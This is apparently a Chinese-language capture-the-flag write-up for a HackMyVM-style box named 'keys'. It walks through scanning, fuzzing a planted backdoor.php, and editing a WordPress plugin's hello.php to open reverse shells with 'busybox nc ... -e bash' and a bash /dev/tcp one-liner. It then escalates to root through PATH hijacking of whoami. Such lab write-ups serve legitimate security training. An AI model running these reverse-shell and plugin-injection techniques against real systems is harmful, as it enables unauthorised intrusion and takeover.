端口扫描

1
2
3
4
5
6
7
8
9
10
11
# Nmap 7.95 scan initiated Fri Feb 27 00:04:11 2026 as: /usr/lib/nmap/nmap -p- -oA ports 192.168.0.104
Nmap scan report for interstellar.dsz (192.168.0.104)
Host is up (0.00077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: A6:DD:95:39:CF:90 (Unknown)

# Nmap done at Fri Feb 27 00:04:13 2026 -- 1 IP address (1 host up) scanned in 2.15 seconds

web 渗透

80 端口 和 8080 端口都是 web ,初步访问发现两个 web 页面是一样的,都没有什么内容。但是 80 端口的网页源代码里面写了 keys1.dsz

image1

于是把该域名写到 /etc/hosts 里面,再去访问:

image2

发现是个 wordpress ,并且还有一个用户叫 todd

尝试在 wp-admin 里面弱密码登录这个用户,但尝试了几个弱密码都没有成功,且使用了 metasploit 进行爆破,也没有爆破成功。

使用 wpscan 工具进行了扫描,没有扫描出来什么有用的信息。

于是把目光放在了 8080 端口上,网页本身没有什么内容,进行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/HMV/keys]
└─$ sudo gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.106:8080 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.106:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 320]
/.php (Status: 403) [Size: 320]
/index.html (Status: 200) [Size: 156]
/backdoor.php (Status: 500) [Size: 0]

扫描出来一个 backdoor.php ,应该是个后门,但它需要一个参数,fuzz 一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HMV/keys]
└─$ wfuzz -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -u 'http://192.168.0.106:8080/backdoor.php?FUZZ=id' --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.0.106:8080/backdoor.php?FUZZ=id
Total requests: 74332

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 1 L 3 W 54 Ch "0"

发现 0 这个参数可行,尝试访问:

1
2
3
┌──(kali㉿kali)-[~/HMV/keys]
└─$ curl 'http://192.168.0.106:8080/backdoor.php?0=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

获取立足点

进行反弹 shell (记得进行 url 编码,尤其在浏览器进行执行的时候,很容易因为没有编码而失败):

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.0.106 36342
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@64a2813cdab1:/var/www/html$ whoami
whoami
www-data
www-data@64a2813cdab1:/var/www/html$

该环境的 home 目录下没有用户,且 uname -a 的结果显示其 hostname64a2813cdab1 。推测这是一个 docker 起的环境。

在环境变量 env 中,发现有个变量为 ROOT_PASSWORD=root123. ,用该密码成功切换到了 root 用户:

1
2
3
4
5
6
7
8
9
www-data@64a2813cdab1:/$ su root
su root
Password: root123.
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
pwd
/root

但切换到 root 之后,其目录内没有任何内容。

这个环境内没有再找到其他有用的信息,想到用 root 的密码去刚才的 wordpress 登录 todd 这个用户试试,发现能够登录:

image3

在左边的 工具 栏目里,我们可以修改插件的代码,我们尝试修改 hello.php

image4

但他原本是未启用的,我们需要先启用它,在左边的 插件 栏目里,我们可以启用这个插件(我这里是已经启用了的状态):

image5

接着,我们就可以编辑刚才的 hello.php 文件,尝试发现,如果使用 system 函数进行命令,它会报错 Undefined function ,但如果使用 exec 就不会。

hello.php 里写入 exec('busybox nc 192.168.0.105 4567 -e bash'); 并更新文件,我们就收到了弹回来的 shell (如果不能直接执行,我们可以通过 wp-content/plugins/hello.php) 来访问到这个文件:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4567
Listening on 0.0.0.0 4567
Connection received on 192.168.0.106 57742
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux Key1 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux

在 sublarge 用户的目录下拿到了 user flag:

1
2
3
4
ww-data@Key1:/home/sublarge$ cat user.txt
cat user.txt
flag{user-163aafb4875076a94dcf6a701d3d06bc}
www-data@Key1:/home/sublarge$

提权

在靶机内找了一圈信息,发现内网开启了一个 45129 端口:

1
2
3
4
5
6
7
8
9
10
ww-data@Key1:/var/www/keys1.dsz/wordpress$ ss -tuln
ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:45129 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 *:80 *:*

简单用 nc 探测发现是个 web ,用 socat 转发出来:

1
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:45129

接着在外网访问,发现没有什么内容,进行目录扫描,也没有任何收获。

继续在靶机内收集信息,在 /usr/local/bin 里面发现了一个文件:

1
2
3
4
5
6
ww-data@Key1:/usr/local/bin$ ls -liah
ls -liah
total 28K
263399 drwxr-xr-x 2 root root 4.0K Feb 15 07:15 .
263395 drwxr-xr-x 10 root root 4.0K Mar 18 2025 ..
527707 -rwx--x--x 1 root root 18K Feb 15 07:15 key1

看一下帮助信息:

1
2
3
4
5
6
7
8
www-data@Key1:/usr/local/bin$ ./key1 -h
./key1 -h
Options:
-h, --help Display this help message and exit
-p, --password PASSWORD Output root password format with provided password
Standard logic:
1. Reads users from /opt/user.txt
2. Compares current user with a selected user

他说他会从 /opt/user.txt 里面读取用户名,然后比较当前用户和选中的用户。

简单运行一下:

1
2
3
4
www-data@Key1:/usr/local/bin$ ./key1
./key1
Current user: www-data
Now is user sublarge turn

他说现在我是 www-data ,但他选中的是 sublargeturn

查看 /opt/user.txt 发现,里面根本就没有 www-data ,说明我们不可能被选中。

我怀疑他会使用 whoami 命令来查看当前的用户是谁,因此如果我劫持这个命令,说不定就能和他选中的一样了。

进行命令劫持后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
ww-data@Key1:/usr/local/bin$ echo 'echo sublarge' > /tmp/whoami
echo 'echo sublarge' > /tmp/whoami
www-data@Key1:/usr/local/bin$ chmod +x /tmp/whoami
chmod +x /tmp/whoami
www-data@Key1:/usr/local/bin$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@Key1:/usr/local/bin$ whoami
whoami
sublarge
www-data@Key1:/usr/local/bin$ ./key1
./key1
Current user: sublarge
Now is user da turn

果然,他输出了我是 sublarge

之后运行了几次,他输出了 sublarge 的密码:

image6

用该密码进行 ssh 登录,登录成功了:

image7

但该用户没有 sudo -l ,也没有其他有用的信息。

最后还是回到了刚才的 key1 ,它还有一个选项是 -p ,说是给一个特定的密码会输出 root 的密码,尝试了 sublarge 的密码,发现他输出了 root 的密码:

image8

切换到 root ,拿到了 root flag:

1
2
3
4
5
6
7
8
9
sublarge@Key1:/usr/local/bin$ su root
Password:
root@Key1:/usr/local/bin# ls
key1
root@Key1:/usr/local/bin# cd
root@Key1:~# ls
Dockerfile rootpasss.txt root.txt run_backdoor.sh userpass.txt
root@Key1:~# cat root.txt
flag{root-2d8e0ca998ebd0a3abdee36468170c99}

PS

学习到 curl -G http://192.168.0.106:8080/backdoor.php --data-urlencode '0=/bin/bash -c "/bin/bash -i >&/dev/tcp/192.168.0.105/1234 0>&1"' 这样访问,能够自动进行 url 编码。